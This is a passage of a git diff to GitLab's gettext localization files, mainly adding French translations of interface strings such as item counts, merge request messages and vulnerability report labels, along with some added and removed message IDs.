-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/fr/gitlab.po b/locale/fr/gitlab.po
index 4973e9a71ce..8f46df90455 100644
--- a/locale/fr/gitlab.po
+++ b/locale/fr/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: fr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:40\n"
+"PO-Revision-Date: 2021-12-06 18:57\n"
msgid " %{start} to %{end}"
msgstr " %{start} à %{end}"
@@ -29,13 +29,13 @@ msgid " Please sign in."
msgstr " Veuillez vous identifier."
msgid " Target Path"
-msgstr ""
+msgstr " Chemin cible"
msgid " Try to %{action} this file again."
msgstr " Réessayez de %{action} ce fichier."
msgid " Type"
-msgstr ""
+msgstr " Type"
msgid " You need to do this before %{grace_period_deadline}."
msgstr " Vous devez faire cela avant %{grace_period_deadline}."
@@ -50,64 +50,61 @@ msgid " or "
msgstr " ou "
msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
-msgstr ""
+msgstr " ou %{emphasisStart}!id demande de fusion%{emphasisEnd}"
msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
-msgstr ""
+msgstr " ou %{emphasisStart}#id ticket%{emphasisEnd}"
msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
-msgstr ""
+msgstr " ou %{emphasisStart}&id épopée%{emphasisEnd}"
msgid " or references (e.g. path/to/project!merge_request_id)"
msgstr " ou des références (par exemple chemin/vers/projet!merge_request_id)"
msgid " reacted with :%{name}:"
-msgstr ""
+msgstr " a réagi avec :%{name}:"
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr "\"%{path}\" n'existait pas sur \"%{ref}\""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
-msgstr ""
-
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
+msgstr "La taille de « %{repository_name} » (%{repository_size}) est supérieure à la limite de %{limit}."
msgid "#%{issueIid} (closed)"
-msgstr ""
+msgstr "#%{issueIid} (fermé)"
msgid "#general, #development"
-msgstr ""
+msgstr "#général, #développement"
msgid "%d Alert"
msgid_plural "%d Alerts"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d Alerte"
+msgstr[1] "%d Alertes"
msgid "%d Alert:"
msgid_plural "%d Alerts:"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d Alerte :"
+msgstr[1] "%d Alertes :"
msgid "%d Approval"
msgid_plural "%d Approvals"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d Approbation"
+msgstr[1] "%d Approbations"
msgid "%d Module"
msgid_plural "%d Modules"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d Module"
+msgstr[1] "%d Modules"
msgid "%d Other"
msgid_plural "%d Others"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d Autre"
+msgstr[1] "%d Autres"
msgid "%d Package"
msgid_plural "%d Packages"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d Paquet"
+msgstr[1] "%d Paquets"
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
@@ -121,33 +118,33 @@ msgstr[1] ""
msgid "%d approver"
msgid_plural "%d approvers"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d approbateur"
+msgstr[1] "%d approbateurs"
msgid "%d approver (you've approved)"
msgid_plural "%d approvers (you've approved)"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d approbateur (vous avez approuvé)"
+msgstr[1] "%d approbateurs (vous avez approuvé)"
msgid "%d changed file"
msgid_plural "%d changed files"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d fichier modifié"
+msgstr[1] "%d fichiers modifiés"
msgid "%d character remaining"
msgid_plural "%d characters remaining"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d caractère restant"
+msgstr[1] "%d caractères restants"
msgid "%d child epic"
msgid_plural "%d child epics"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d épopée enfant"
+msgstr[1] "%d épopées enfants"
msgid "%d code quality issue"
msgid_plural "%d code quality issues"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d problème de qualité de code"
+msgstr[1] "%d problèmes de qualité de code"
msgid "%d comment"
msgid_plural "%d comments"
@@ -156,13 +153,13 @@ msgstr[1] "%d commentaires"
msgid "%d comment on this commit"
msgid_plural "%d comments on this commit"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d commentaire sur cette validation"
+msgstr[1] "%d commentaires sur cette validation"
msgid "%d commenter"
msgid_plural "%d commenters"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d commentateur"
+msgstr[1] "%d commentateurs"
msgid "%d commit"
msgid_plural "%d commits"
@@ -171,8 +168,8 @@ msgstr[1] "%d validations"
msgid "%d commit author"
msgid_plural "%d commit authors"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d auteur de la validation"
+msgstr[1] "%d auteurs de la validation"
msgid "%d commit behind"
msgid_plural "%d commits behind"
@@ -186,8 +183,8 @@ msgstr[1] "%d commits,"
msgid "%d completed issue"
msgid_plural "%d completed issues"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d ticket résolu"
+msgstr[1] "%d tickets résolus"
msgid "%d contribution"
msgid_plural "%d contributions"
@@ -196,23 +193,23 @@ msgstr[1] "%d contributions"
msgid "%d day"
msgid_plural "%d days"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d jour"
+msgstr[1] "%d jours"
msgid "%d epic"
msgid_plural "%d epics"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d épopée"
+msgstr[1] "%d épopées"
msgid "%d error"
msgid_plural "%d errors"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d erreur"
+msgstr[1] "%d erreurs"
msgid "%d error found:"
msgid_plural "%d errors found:"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d erreur trouvée :"
+msgstr[1] "%d erreurs trouvées :"
msgid "%d exporter"
msgid_plural "%d exporters"
@@ -221,43 +218,48 @@ msgstr[1] "%d exportateurs"
msgid "%d failed"
msgid_plural "%d failed"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d a échoué"
+msgstr[1] "%d ont échoué"
msgid "%d failed security job"
msgid_plural "%d failed security jobs"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d tâche de sécurité échouée"
+msgstr[1] "%d tâches de sécurité échouées"
msgid "%d file"
msgid_plural "%d files"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d fichier"
+msgstr[1] "%d fichiers"
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d résultat du test corrigé"
msgstr[1] "%d résultats du test corrigés"
-msgid "%d group"
-msgid_plural "%d groups"
+msgid "%d fork"
+msgid_plural "%d forks"
msgstr[0] ""
msgstr[1] ""
+msgid "%d group"
+msgid_plural "%d groups"
+msgstr[0] "%d groupe"
+msgstr[1] "%d groupes"
+
msgid "%d group selected"
msgid_plural "%d groups selected"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d groupe sélectionné"
+msgstr[1] "%d groupes sélectionnés"
msgid "%d hour"
msgid_plural "%d hours"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d heure"
+msgstr[1] "%d heures"
msgid "%d inaccessible merge request"
msgid_plural "%d inaccessible merge requests"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d demande de fusion inaccessible"
+msgstr[1] "%d demandes de fusion inaccessibles"
msgid "%d issue"
msgid_plural "%d issues"
@@ -266,13 +268,13 @@ msgstr[1] "%d tickets"
msgid "%d issue in this group"
msgid_plural "%d issues in this group"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d ticket dans ce groupe"
+msgstr[1] "%d tickets dans ce groupe"
msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d ticket importé avec succès avec l'étiquette"
+msgstr[1] "%d tickets importés avec succès avec l'étiquette"
msgid "%d layer"
msgid_plural "%d layers"
@@ -286,6 +288,11 @@ msgstr[1] "%d demandes de fusion"
msgid "%d merge request that you don't have access to."
msgid_plural "%d merge requests that you don't have access to."
+msgstr[0] "%d demande de fusion à laquelle vous n'avez pas accès."
+msgstr[1] "%d demandes de fusion auxquelles vous n'avez pas accès."
+
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
msgstr[0] ""
msgstr[1] ""
@@ -296,108 +303,113 @@ msgstr[1] "%d métriques"
msgid "%d milestone"
msgid_plural "%d milestones"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d jalon"
+msgstr[1] "%d jalons"
msgid "%d minute"
msgid_plural "%d minutes"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d minute"
+msgstr[1] "%d minutes"
msgid "%d more comment"
msgid_plural "%d more comments"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d autre commentaire"
+msgstr[1] "%d autres commentaires"
msgid "%d open issue"
msgid_plural "%d open issues"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d ticket ouvert"
+msgstr[1] "%d tickets ouverts"
msgid "%d pending comment"
msgid_plural "%d pending comments"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d commentaire en attente"
+msgstr[1] "%d commentaires en attente"
msgid "%d personal project will be removed and cannot be restored."
msgid_plural "%d personal projects will be removed and cannot be restored."
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d projet personnel sera supprimé et ne pourra pas être restauré."
+msgstr[1] "%d projets personnels seront supprimés et ne pourront pas être restaurés."
msgid "%d previously merged commit"
msgid_plural "%d previously merged commits"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d validation précédemment fusionnée"
+msgstr[1] "%d validations précédemment fusionnées"
msgid "%d project"
msgid_plural "%d projects"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d projet"
+msgstr[1] "%d projets"
msgid "%d project selected"
msgid_plural "%d projects selected"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d projet sélectionné"
+msgstr[1] "%d projets sélectionnés"
msgid "%d request with warnings"
msgid_plural "%d requests with warnings"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d demande avec avertissements"
+msgstr[1] "%d demandes avec avertissements"
msgid "%d second"
msgid_plural "%d seconds"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d seconde"
+msgstr[1] "%d secondes"
msgid "%d shard selected"
msgid_plural "%d shards selected"
+msgstr[0] "%d fragment sélectionné"
+msgstr[1] "%d fragments sélectionnés"
+
+msgid "%d star"
+msgid_plural "%d stars"
msgstr[0] ""
msgstr[1] ""
msgid "%d tag"
msgid_plural "%d tags"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d étiquette"
+msgstr[1] "%d étiquettes"
msgid "%d tag per image name"
msgid_plural "%d tags per image name"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d étiquette par nom d'image"
+msgstr[1] "%d étiquettes par nom d'image"
msgid "%d token has expired"
msgid_plural "%d tokens have expired"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d jeton a expiré"
+msgstr[1] "%d jetons ont expiré"
msgid "%d unassigned issue"
msgid_plural "%d unassigned issues"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d ticket non assigné"
+msgstr[1] "%d tickets non assignés"
msgid "%d unresolved thread"
msgid_plural "%d unresolved threads"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d fil de conversation non résolu"
+msgstr[1] "%d fils de conversation non résolus"
msgid "%d vulnerability"
msgid_plural "%d vulnerabilities"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d vulnérabilité"
+msgstr[1] "%d vulnérabilités"
msgid "%d vulnerability dismissed"
msgid_plural "%d vulnerabilities dismissed"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d vulnérabilité rejetée"
+msgstr[1] "%d vulnérabilités rejetées"
msgid "%d vulnerability updated"
msgid_plural "%d vulnerabilities updated"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d vulnérabilité mise à jour"
+msgstr[1] "%d vulnérabilités mises à jour"
msgid "%d warning found:"
msgid_plural "%d warnings found:"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d avertissement trouvé :"
+msgstr[1] "%d avertissements trouvés :"
msgid "%s additional commit has been omitted to prevent performance issues."
msgid_plural "%s additional commits have been omitted to prevent performance issues."
@@ -407,73 +419,79 @@ msgstr[1] "%s commits supplémentaires ont été ignorés afin d’éviter de ca
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} et %{openOrClose} %{noteable}"
-msgid "%{address} is an invalid IP address range"
+msgid "%{actionText} & close %{noteable}"
msgstr ""
-msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
+msgid "%{actionText} & reopen %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr "%{address} est une plage d'adresses IP non valide"
+
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
+msgstr "%{anchorOpen}En savoir plus%{anchorClose} sur comment personnaliser / désactiver l'inscription sur votre instance."
+
msgid "%{author_link} cloned %{original_issue} to %{new_issue}."
-msgstr ""
+msgstr "%{author_link} a cloné %{original_issue} vers %{new_issue}."
msgid "%{author_link} cloned %{original_issue}. You don't have access to the new project."
-msgstr ""
+msgstr "%{author_link} a cloné %{original_issue}. Vous n'avez pas accès au nouveau projet."
msgid "%{author_link} wrote:"
-msgstr ""
+msgstr "%{author_link} a écrit :"
msgid "%{authorsName}'s thread"
-msgstr ""
+msgstr "Le fil de %{authorsName}"
msgid "%{board_target} not found"
-msgstr ""
+msgstr "%{board_target} introuvable"
msgid "%{bold_start}%{count}%{bold_end} issue"
msgid_plural "%{bold_start}%{count}%{bold_end} issues"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%{bold_start}%{count}%{bold_end} ticket"
+msgstr[1] "%{bold_start}%{count}%{bold_end} tickets"
msgid "%{bold_start}%{count}%{bold_end} member"
msgid_plural "%{bold_start}%{count}%{bold_end} members"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%{bold_start}%{count}%{bold_end} membre"
+msgstr[1] "%{bold_start}%{count}%{bold_end} membres"
msgid "%{bold_start}%{count}%{bold_end} opened merge request"
msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%{bold_start}%{count}%{bold_end} demande de fusion ouverte"
+msgstr[1] "%{bold_start}%{count}%{bold_end} demandes de fusion ouvertes"
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
-msgstr ""
+msgstr "%{code_open}Masqué :%{code_close} Masqué dans les journaux des logs. Doit correspondre aux exigences de masquage."
msgid "%{code_open}Protected:%{code_close} Only exposed to protected branches or tags."
-msgstr ""
+msgstr "%{code_open}Protégé :%{code_close} Exposé uniquement aux branches ou tags protégées."
msgid "%{commit_author_link} authored %{commit_authored_timeago}"
-msgstr ""
+msgstr "%{commit_author_link} a écrit %{commit_authored_timeago}"
msgid "%{commit_author_link} authored %{commit_authored_timeago} and %{commit_committer_avatar} %{commit_committer_link} committed %{commit_committer_timeago}"
-msgstr ""
+msgstr "%{commit_author_link} a écrit %{commit_authored_timeago} et %{commit_committer_avatar} %{commit_committer_link} a validé %{commit_committer_timeago}"
msgid "%{completedCount} completed weight"
-msgstr ""
+msgstr "%{completedCount} poids complété"
msgid "%{completedCount} of %{count} task completed"
msgid_plural "%{completedCount} of %{count} tasks completed"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%{completedCount} tâche terminée sur %{count}"
+msgstr[1] "%{completedCount} tâches terminées sur %{count}"
msgid "%{completedWeight} of %{totalWeight} weight completed"
-msgstr ""
+msgstr "%{completedWeight} sur %{totalWeight} du poids complété"
msgid "%{cores} cores"
-msgstr ""
+msgstr "%{cores} cœurs"
msgid "%{count} %{scope} for term '%{term}'"
-msgstr ""
+msgstr "%{count} %{scope} pour le terme « %{term} »"
msgid "%{count} LOC/commit"
-msgstr ""
+msgstr "%{count} lignes de code / validation"
msgid "%{count} approval required from %{name}"
msgid_plural "%{count} approvals required from %{name}"
@@ -483,16 +501,21 @@ msgstr[1] "%{count} approbations de %{name} requises"
msgid "%{count} approvals from %{name}"
msgstr "%{count} approbations de %{name}"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
-msgstr ""
+msgstr "%{count} fichiers modifiés"
msgid "%{count} item"
msgid_plural "%{count} items"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%{count} élément"
+msgstr[1] "%{count} éléments"
msgid "%{count} items per page"
-msgstr ""
+msgstr "%{count} éléments par page"
msgid "%{count} more"
msgstr "encore %{count}"
@@ -502,8 +525,8 @@ msgstr "%{count} autres personnes assignées"
msgid "%{count} more release"
msgid_plural "%{count} more releases"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%{count} version de plus"
+msgstr[1] "%{count} versions de plus"
msgid "%{count} of %{required} approvals from %{name}"
msgstr "%{count} approbations de %{name} sur %{required}"
@@ -517,13 +540,13 @@ msgstr[0] "%{count} participant·e"
msgstr[1] "%{count} participant·e·s"
msgid "%{count} related %{pluralized_subject}: %{links}"
-msgstr ""
+msgstr "%{count} lié à %{pluralized_subject}: %{links}"
msgid "%{count} selected"
-msgstr ""
+msgstr "%{count} sélectionnés"
msgid "%{count} total weight"
-msgstr ""
+msgstr "%{count} poids total"
msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
msgstr ""
@@ -634,112 +657,112 @@ msgid "%{italic_start}What's new%{italic_end} is inactive and cannot be viewed."
msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
-msgstr ""
+msgstr "%{itemsCount} tickets avec une limite de %{maxIssueCount}"
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
-msgstr ""
+msgstr "%{labelStart}Réponse effective :%{labelEnd} %{headers}"
msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
-msgstr ""
+msgstr "%{labelStart}Assertion :%{labelEnd} %{assertion}"
msgid "%{labelStart}Class:%{labelEnd} %{class}"
-msgstr ""
+msgstr "%{labelStart}Classe :%{labelEnd} %{class}"
msgid "%{labelStart}Crash Address:%{labelEnd} %{crash_address}"
-msgstr ""
+msgstr "%{labelStart}Adresse du plantage :%{labelEnd} %{crash_address}"
msgid "%{labelStart}Crash State:%{labelEnd} %{stacktrace_snippet}"
-msgstr ""
+msgstr "%{labelStart}État du plantage :%{labelEnd} %{stacktrace_snippet}"
msgid "%{labelStart}Evidence:%{labelEnd} %{evidence}"
msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
-msgstr ""
+msgstr "%{labelStart}Fichier :%{labelEnd} %{file}"
msgid "%{labelStart}Image:%{labelEnd} %{image}"
-msgstr ""
+msgstr "%{labelStart}Image :%{labelEnd} %{image}"
msgid "%{labelStart}Method:%{labelEnd} %{method}"
-msgstr ""
+msgstr "%{labelStart}Méthode :%{labelEnd} %{method}"
msgid "%{labelStart}Namespace:%{labelEnd} %{namespace}"
-msgstr ""
+msgstr "%{labelStart}Espace de noms :%{labelEnd} %{namespace}"
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
-msgstr ""
+msgstr "%{labelStart}Scanner :%{labelEnd} %{scanner}"
msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
-msgstr ""
+msgstr "%{labelStart}Requête envoyée :%{labelEnd} %{headers}"
msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
-msgstr ""
+msgstr "%{labelStart}Gravité :%{labelEnd} %{severity}"
msgid "%{labelStart}Tool:%{labelEnd} %{reportType}"
-msgstr ""
+msgstr "%{labelStart}Outil :%{labelEnd} %{reportType}"
msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
-msgstr ""
+msgstr "%{labelStart}Réponse non modifiée :%{labelEnd} %{headers}"
msgid "%{label_for_message} unavailable"
msgstr "%{label_for_message} indisponible"
msgid "%{learn_more_link}."
-msgstr ""
+msgstr "%{learn_more_link}."
msgid "%{lessThan} 1 hour"
-msgstr ""
+msgstr "%{lessThan} 1 heure"
msgid "%{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end} is a free, automated, and open certificate authority (CA) that issues digital certificates to enable HTTPS (SSL/TLS) for sites."
-msgstr ""
+msgstr "%{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end} est une autorité de certification (CA) gratuite, automatisée et ouverte, qui fournit des certificats numériques pour activer HTTPS (SSL/TLS) sur les sites."
msgid "%{level_name} is not allowed in a %{group_level_name} group."
-msgstr ""
+msgstr "%{level_name} n'est pas autorisé dans un groupe %{group_level_name}."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
-msgstr ""
+msgstr "%{level_name} n'est pas autorisé car le projet divergent a une visibilité inférieure."
msgid "%{link_start}Learn more%{link_end} about roles."
-msgstr ""
+msgstr "%{link_start}En savoir plus%{link_end} sur les rôles."
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
-msgstr ""
+msgstr "%{link_start}Supprimez le %{draft_snippet} préfixe%{link_end} du titre pour permettre la fusion lorsque cette demande de fusion sera prête."
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
-msgstr ""
+msgstr "%{link_start}Quelles informations GitLab Inc. recueille-t-il ?%{link_end}"
msgid "%{listToShow}, and %{awardsListLength} more"
-msgstr ""
+msgstr "%{listToShow}, et %{awardsListLength} de plus"
msgid "%{location} is missing required keys: %{keys}"
-msgstr ""
+msgstr "%{location} manque des clés requises: %{keys}"
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} est verrouillé par l’utilisateur GitLab %{lock_user_id}"
msgid "%{markdownDocsLinkStart}Markdown%{markdownDocsLinkEnd} and %{quickActionsDocsLinkStart}quick actions%{quickActionsDocsLinkEnd} are supported"
-msgstr ""
+msgstr "%{markdownDocsLinkStart}Markdown%{markdownDocsLinkEnd} et les %{quickActionsDocsLinkStart}actions rapides%{quickActionsDocsLinkEnd} sont pris en charge"
msgid "%{mergeLength}/%{usersLength} can merge"
-msgstr ""
+msgstr "%{mergeLength}/%{usersLength} peuvent fusionner"
msgid "%{message} showing first %{warnings_displayed}"
-msgstr ""
+msgstr "%{message} %{warnings_displayed} premiers affichés"
msgid "%{milestone} (expired)"
-msgstr ""
+msgstr "%{milestone} (expirée)"
msgid "%{milliseconds}ms"
-msgstr ""
+msgstr "%{milliseconds}ms"
msgid "%{model_name} not found"
-msgstr ""
+msgstr "%{model_name} introuvable"
msgid "%{mrText}, this issue will be closed automatically."
-msgstr ""
+msgstr "%{mrText}, ce ticket sera fermé automatiquement."
msgid "%{name_with_link} namespace has %{percent} or less Shared Runner Pipeline minutes remaining. Once it runs out, no new jobs or pipelines in its projects will run."
msgstr ""
@@ -748,57 +771,57 @@ msgid "%{name_with_link} namespace has run out of Shared Runner Pipeline minutes
msgstr ""
msgid "%{name} (Busy)"
-msgstr ""
+msgstr "%{name} (Occupé)"
msgid "%{name} contained %{resultsString}"
-msgstr ""
+msgstr "%{name} contenait %{resultsString}"
msgid "%{name} found %{resultsString}"
-msgstr ""
+msgstr "%{name} a trouvé %{resultsString}"
msgid "%{name} is already being used for another emoji"
+msgstr "%{name} est déjà utilisé pour un autre emoji"
+
+msgid "%{name} is reserved for %{type} report type"
msgstr ""
msgid "%{name} is scheduled for %{action}"
-msgstr ""
+msgstr "%{name} est prévu pour %{action}"
msgid "%{name}'s avatar"
msgstr "Avatar de %{name}"
msgid "%{name}(%{url}) namespace has %{percent} or less Shared Runner Pipeline minutes remaining. After it runs out, no new jobs or pipelines in its projects will run."
-msgstr ""
+msgstr "L'espace de noms %{name}(%{url}) dispose de %{percent} ou moins de minutes restantes d'Exécuteur Partagé de Pipeline. Une fois qu’elles seront épuisées, aucune nouvelle tâche ni pipeline de ses projets ne sera lancé."
msgid "%{name}(%{url}) namespace has run out of Shared Runner Pipeline minutes so no new jobs or pipelines in its projects will run."
-msgstr ""
+msgstr "L'espace de noms %{name}(%{url}) a épuisé ses minutes de Pipeline d'Exécuteur Partagé de sorte qu'aucune nouvelle tâche ni pipeline dans ses projets ne sera lancé."
msgid "%{name}, confirm your email address now!"
-msgstr ""
+msgstr "%{name}, confirmez votre adresse e-mail maintenant !"
msgid "%{no_of_days} day"
msgid_plural "%{no_of_days} days"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%{no_of_days} jour"
+msgstr[1] "%{no_of_days} jours"
msgid "%{number_commits_behind} commits behind %{default_branch}, %{number_commits_ahead} commits ahead"
msgstr "%{number_commits_behind} commits de retard sur %{default_branch}, %{number_commits_ahead} commits d’avance"
msgid "%{oneMonthAgo} - %{today}"
-msgstr ""
+msgstr "%{oneMonthAgo} - %{today}"
msgid "%{oneWeekAgo} - %{today}"
-msgstr ""
+msgstr "%{oneWeekAgo} - %{today}"
msgid "%{oneYearAgo} - %{today}"
-msgstr ""
-
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
+msgstr "%{oneYearAgo} - %{today}"
msgid "%{openedEpics} open, %{closedEpics} closed"
-msgstr ""
+msgstr "%{openedEpics} ouvertes, %{closedEpics} fermées"
msgid "%{openedIssues} open, %{closedIssues} closed"
-msgstr ""
+msgstr "%{openedIssues} ouverts, %{closedIssues} fermés"
msgid "%{percentage}%% weight completed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr "épopées %{state}"
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ", ou "
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
